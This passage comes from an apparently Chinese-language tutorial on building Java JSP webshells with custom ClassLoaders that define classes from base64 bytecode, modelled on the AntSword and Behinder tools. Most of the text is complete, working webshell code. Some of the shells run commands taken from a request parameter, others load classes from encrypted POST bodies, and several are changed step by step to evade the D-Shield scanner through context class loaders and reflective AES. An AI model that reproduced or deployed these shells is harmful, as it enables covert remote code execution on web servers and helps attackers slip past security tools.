RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFY2xvc2UBAA9nZXRPdXRwdXRTdHJlYW0BABgoKUxqYXZhL2lvL091dHB1dFN0cmVhbTsBABRqYXZhL2lvL091dHB1dFN0cmVhbQAhAB8AIAAAAAAABAABACEAIgABACMAAAAvAAEAAQAAAAUqtwABsQAAAAIAJAAAAAYAAQAAAAwAJQAAAAwAAQAAAAUAJgAnAAAAAQAoACkAAQAjAAAALQABAAEAAAADEgKwAAAAAgAkAAAABgABAAAADgAlAAAADAABAAAAAwAmACcAAAABACoAKwABACMAAACVAAIABAAAABUrtgADTSostgAEV6cACE4ttgAGBKwAAQAFAAsADgAFAAMAJAAAABoABgAAABMABQAVAAsAGAAOABYADwAXABMAGQAlAAAAKgAEAA8ABAAsAC0AAwAAABUAJgAnAAAAAAAVAC4ALwABAAUAEAAwADEAAgAyAAAAFgAC/wAOAAMHAB8HACAHAAoAAQcABQQAAgAzADQAAgAjAAABWAAFAAkAAACAuwAHWbcACE24AAkGvQAKWQMSC1NZBBIMU1kFK1O2AA1OLbYADjoEuwAPWRkEEhC3ABE6BbsAElkZBbcAEzoGGQa2ABRZOgfGABIsGQe2ABUSFrYAFVen/+kstgAXOgiyABgZCLYAGRkGtgAaGQW2ABsZBLYAHC22AB22AB4ZCLAAAAADACQAAAA6AA4AAAAcAAgAHQAhAB4AJwAfADQAIAA/ACIASgAjAFkAJQBfACYAZwAnAGwAKABxACkAdgAqAH0AKwAlAAAAXAAJAAAAgAAmACcAAAAAAIAAMAAxAAEACAB4ADUANgACACEAXwA3ADgAAwAnAFkAOQA6AAQANABMADsAPAAFAD8AQQA9AD4ABgBHADkAPwAxAAcAXwAhAEAAMQAIADIAAAAkAAL/AD8ABwcAHwcACgcABwcAQQcAQgcADwcAEgAA/AAZBwAKAEMAAAAEAAEABQABAEQAAAACAEU=";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
}
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException {
Myloader myloader = new Myloader();
Class aClass = myloader.get();
Object o = aClass.newInstance();
Object obj = "ifconfig";
boolean equals = o.equals(obj);
System.out.println(equals);
}
}
同样修改命令、重新编译、改为jsp页面。
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%
try {
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if (cmd != null) {
class Myloader extends ClassLoader {
public Class get() {
String classStr = "yv66vgAAADQAcAoAHwA1CgAfADYKAB4ANwcAOAoABAA5BwA6CgAGADUKADsAPAcAPQgAPggAPwoAOwBACgBBAEIHAEMIAEQKAA4ARQcARgoAEQBHCgARAEgKAAYASQgASgoABgA2CQBLAEwKAE0ATgoAEQBPCgAOAE8KAFAATwoAQQBRCgBSAE8HAFMHAFQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAUwcAVAcAPQcAOAEAA0NNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7BwA6BwBVBwBWBwBDBwBGAQAKRXhjZXB0aW9ucwEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMACAAIQwAVwBYDAArACwBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABZACEBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcAWgwAWwBcAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAXQBeBwBVDABfAGABABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAgAGEBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAgAGIMAGMAWAwAZABlAQABCgcAZgwAZwBoBwBpDABqAGsMAGwAIQcAVgwAbQBuBwBvAQAVY29tL2F0Z3VpZ3UvdGVzdC9UZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAA9wcmludFN0YWNrVHJhY2UBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVjbG9zZQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEAFGphdmEvaW8vT3V0cHV0U3RyZWFtACEAHgAfAAAAAAADAAEAIAAhAAEAIgAAAB0AAQABAAAABSq3AAGxAAAAAQAjAAAABgABAAAACwABACQAJQABACIAAABlAAIABAAAABUrtgACTSostwADV6cACE4ttgAFBKwAAQAFAAsADgAEAAIAIwAAABoABgAAAA8ABQARAAsAFAAOABIADwATABMAFQAmAAAAFgAC/wAOAAMHACcHACgHACkAAQcAKgQAAgArACwAAgAiAAAA9gAFAAkAAACAuwAGWbcAB024AAgGvQAJWQMSClNZBBILU1kFK1O2AAxOLbYADToEuwAOWRkEEg+3ABA6BbsAEVkZBbcAEjoGGQa2ABNZOgfGABIsGQe2ABQSFbYAFFen/+kstgAWOgiyABcZCLYAGBkGtgAZGQW2ABoZBLYAGy22ABy2AB0ZCLAAAAACACMAAAA6AA4AAAAYAAgAGQAhABoAJwAbADQAHAA/AB4ASgAfAFkAIQBfACIAZwAjAGwAJABxACUAdgAmAH0AJwAmAAAAJAAC/wA/AAcHACcHACkHAC0HAC4HAC8HADAHADEAAPwAGQcAKQAyAAAABAABAAQAAQAzAAAAAgA0";
byte[] bytes = Base64.getDecoder().decode(classStr);
return super.defineClass(bytes, 0, bytes.length);
}
}
Myloader myloader = new Myloader();
Class aClass = myloader.get();
Object o = aClass.newInstance();
Object obj = cmd;
boolean equals = o.equals(obj);
out.println(equals);
}
} catch (Exception e) {
out.println(e);
}
%>
因为equals()
方法返回值只为true或false,输出结果会在cmd终端里。
冰蝎webshell
此时我们看一下冰蝎的实现过程,即 利用动态二进制加密实现新型一句话木马之Java篇
对比我们写的用来命令执行的自定义类加载器,会发现我们当前的class字节码文件是在编译后传入的,只用来命令执行。而命令执行只属于冰蝎的一个功能点。
1、那总不能每次实现一个功能都要编译后再传入吧。
冰蝎使用了ASM框架来动态修改class文件中的属性值,具体代码实现在\net\rebeyond\behinder\core\Params.java
下的getParamedClass
方法。
这样参数直接传入class字节码文件就可以了。
以蚁剑为例,将执行命令的数据包截取。
传入的pass
值是经过base64编码后的,将其解码并反编译。
那对应的request
对象也只是其中一个,还有Response
,Session
等对象。
2、那有没有办法可以同时获取这几个对象呢?
传递pageContext,可以间接获取这几个对象。
HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
此时我们的代码调整为
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%
try {
class Myloader extends ClassLoader {
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
String classStr = request.getParameter("pass");
Myloader myloader = new Myloader();
byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
Class aClass = myloader.get(bytes);
Object o = aClass.newInstance();
boolean equals = o.equals(pageContext);
out.println(equals);
} catch (Exception e) {
out.println(e);
}
%>
蚁剑连接,就会出现java.lang.NoClassDefFoundError
错误。
这个错误冰蝎也有提到,是因为自定义的ClassLoader和Request、Response、Seesion的ClassLoader不是同一个。复写ClassLoader的构造函数可以解决该问题。
代码随即变为,也就是蚁剑的webshell。
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%
try {
class Myloader extends ClassLoader {
Myloader(ClassLoader c) {
super(c);
}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
String classStr = request.getParameter("pass");
Myloader myloader = new Myloader(this.getClass().getClassLoader());
byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
Class aClass = myloader.get(bytes);
Object o = aClass.newInstance();
boolean equals = o.equals(pageContext);
out.println(equals);
} catch (Exception e) {
out.println(e);
}
%>
该代码在D盾依然可被查杀。查杀关键位置在
this.getClass().getClassLoader()、newInstance() 两个位置
使用
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
替换
this.getClass().getClassLoader()
即可免杀
代码如下:
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %>
<%
try {
class Myloader extends ClassLoader {
Myloader(ClassLoader c) {
super(c);
}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
String classStr = request.getParameter("pass");
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Myloader myloader = new Myloader(contextClassLoader);
byte[] bytes = java.util.Base64.getDecoder().decode(classStr);
Class aClass = myloader.get(bytes);
Object o = aClass.newInstance();
boolean equals = o.equals(pageContext);
out.println(equals);
} catch (Exception e) {
out.println(e);
}
%>
冰蝎的webshell在此基础上添加了AES加密,并且采用session存储来作为通信的会话。不过依然会被查杀。主要查杀点在AES加密上,使用反射实现AES加密。
代码如下:
<%!
public byte[] AesEncode(String Strings,String k) {
try {
byte[] encryptedData = java.util.Base64.getDecoder().decode(Strings);
Class> aClass = Class.forName("javax.crypto.spec.SecretKeySpec");
java.lang.reflect.Constructor> constructor = aClass.getConstructor(byte[].class, String.class);
javax.crypto.spec.SecretKeySpec skeySpec = (javax.crypto.spec.SecretKeySpec) constructor.newInstance(k.getBytes(), "AES");
javax.crypto.Cipher ciphers = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");
ciphers.init(javax.crypto.Cipher.DECRYPT_MODE, skeySpec);
Class> aClass1 = ciphers.getClass();
java.lang.reflect.Method method = aClass1.getDeclaredMethod("doFinal", new Class[]{byte[].class});
Object invoke = method.invoke(ciphers, new Object[]{encryptedData});
byte[] result = (byte[]) invoke;
return result;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
%>
<%
try {
class Myloader extends ClassLoader {
Myloader(ClassLoader c) {
super(c);
}
public Class get(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
String k = "1a1dc91c907325c6";
session.putValue("u", k);
String Strings = request.getReader().readLine();
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
Myloader myloader = new Myloader(contextClassLoader);
byte[] aesencode = AesEncode(Strings,k);
Class aClass = myloader.get(aesencode);
Object o = aClass.newInstance();
boolean equals = o.equals(pageContext);
out.println(equals);
} catch (Exception e) {
out.println(e);
}
%>
可成功免杀。
除了上面两种源码层的免杀,在Jsp Webshell 免杀-命令执行 免杀手段依然有效。
总结
通过自定义的类加载器实现了命令执行的webshell,再进一步靠近蚁剑、冰蝎的webshell,最后修改服务端webshell达到免杀的效果。
参考资料
https://xz.aliyun.com/t/9050#toc-11
https://paper.seebug.org/1441/